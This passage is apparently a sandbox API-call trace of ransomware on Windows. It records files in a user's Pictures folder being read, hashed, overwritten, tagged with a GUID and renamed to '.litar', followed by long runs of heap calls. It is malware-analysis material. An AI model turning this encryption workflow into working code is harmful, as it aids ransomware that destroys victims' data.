lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0126.941] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.941] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.941] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0126.941] CloseHandle (hObject=0x624) returned 1 [0126.942] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074fd8 [0126.942] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x890) returned 0x30fa0b0 [0126.942] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074fd8 | out: hHeap=0x5c0000) returned 1 [0126.942] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEqZA\\R5ZCMh\\LyCXLD1At.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\neqza\\r5zcmh\\lycxld1at.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEqZA\\R5ZCMh\\LyCXLD1At.png.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\neqza\\r5zcmh\\lycxld1at.png.litar")) returned 1 [0126.942] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.943] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.943] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2fd8818 | out: hHeap=0x5c0000) returned 1 [0126.943] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6c26c90, ftCreationTime.dwHighDateTime=0x1d4cf79, ftLastAccessTime.dwLowDateTime=0xcf849220, ftLastAccessTime.dwHighDateTime=0x1d4ccf6, ftLastWriteTime.dwLowDateTime=0xcf849220, ftLastWriteTime.dwHighDateTime=0x1d4ccf6, nFileSizeHigh=0x0, nFileSizeLow=0x15e38, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MFCCzusoQ99IUVZOnO.jpg", cAlternateFileName="MFCCZU~1.JPG")) returned 1 [0126.943] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084300 [0126.944] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa6) returned 0x2fd8818 [0126.944] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084300 | out: hHeap=0x5c0000) returned 1 [0126.944] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEqZA\\R5ZCMh\\MFCCzusoQ99IUVZOnO.jpg") returned=".jpg" [0126.944] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEqZA\\R5ZCMh\\MFCCzusoQ99IUVZOnO.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\neqza\\r5zcmh\\mfcczusoq99iuvzono.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0126.944] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=89656) returned 1 [0126.944] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0126.946] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x15e12, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.946] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0126.948] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0126.948] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.948] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.948] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x15e38, lpOverlapped=0x0) returned 1 [0126.948] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.948] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0126.949] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.949] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.949] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a0058) returned 1 [0126.949] CryptCreateHash (in: hProv=0x6a0058, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0126.949] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0126.949] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0126.949] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0126.950] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0126.950] GetLastError () returned 0x0 [0126.950] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0126.950] CryptReleaseContext (hProv=0x6a0058, dwFlags=0x0) returned 1 [0126.950] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0126.950] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x15e40) returned 0x30fa0b0 [0126.950] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0126.950] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.950] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x15e33, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x15e33, lpOverlapped=0x0) returned 1 [0126.951] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.951] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x15e38, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.951] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0126.951] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30559f8 [0126.951] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30559f8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0126.951] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0126.951] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30559f8 | out: hHeap=0x5c0000) returned 1 [0126.951] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0126.951] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0126.951] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.951] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.951] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0126.951] CloseHandle (hObject=0x624) returned 1 [0126.952] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd068 [0126.953] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8b0) returned 0x30fa0b0 [0126.953] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd068 | out: hHeap=0x5c0000) returned 1 [0126.953] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEqZA\\R5ZCMh\\MFCCzusoQ99IUVZOnO.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\neqza\\r5zcmh\\mfcczusoq99iuvzono.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEqZA\\R5ZCMh\\MFCCzusoQ99IUVZOnO.jpg.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\neqza\\r5zcmh\\mfcczusoq99iuvzono.jpg.litar")) returned 1 [0126.953] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.953] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.954] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2fd8818 | out: hHeap=0x5c0000) returned 1 [0126.954] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6c26c90, ftCreationTime.dwHighDateTime=0x1d4cf79, ftLastAccessTime.dwLowDateTime=0xcf849220, ftLastAccessTime.dwHighDateTime=0x1d4ccf6, ftLastWriteTime.dwLowDateTime=0xcf849220, ftLastWriteTime.dwHighDateTime=0x1d4ccf6, nFileSizeHigh=0x0, nFileSizeLow=0x15e38, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MFCCzusoQ99IUVZOnO.jpg", cAlternateFileName="MFCCZU~1.JPG")) returned 0 [0126.954] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0126.954] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3037fd0 | out: hHeap=0x5c0000) returned 1 [0126.954] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3083f40 | out: hHeap=0x5c0000) returned 1 [0126.954] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0126.954] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0058 [0126.954] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0126.954] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0126.954] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.954] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.955] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0126.955] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0126.955] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.955] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.955] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0126.955] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0126.955] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.955] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.955] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0126.955] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0126.955] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.955] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.955] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0126.955] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0126.955] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.955] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.955] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0126.955] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0126.955] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.955] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.955] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0126.955] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0126.955] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.955] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0126.955] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.955] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.955] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0126.955] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0126.955] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.955] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.956] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0126.956] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0126.956] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.956] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.956] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0126.956] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0126.956] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.956] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.956] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0126.956] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0126.956] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.956] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.956] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0126.956] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0126.956] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.956] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.956] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0126.956] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0126.956] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.956] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.956] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0126.956] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0126.956] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.956] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.956] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0126.956] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0126.956] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.956] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.956] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0126.956] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0126.956] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.957] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.957] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0126.957] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0126.957] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.957] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.957] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0126.957] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0126.957] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.957] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.957] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0126.957] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0126.957] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.957] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.957] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0126.957] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0126.957] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.957] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.957] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0126.957] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0126.957] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.957] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.957] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0126.957] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0126.957] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.957] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.957] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0126.957] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0126.957] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.957] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0126.957] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.957] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.958] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0126.958] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0126.958] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.958] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.958] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0126.958] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0126.958] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.958] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0126.958] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.958] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.958] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0126.958] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0126.958] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.958] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.958] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0126.958] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0126.958] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.958] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.958] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0126.958] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0126.958] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.958] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.958] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0126.958] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0126.958] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.958] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.958] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0126.958] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0126.958] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.958] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0126.959] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.959] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.959] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0126.959] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0126.959] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.959] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.959] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0126.959] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0126.959] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 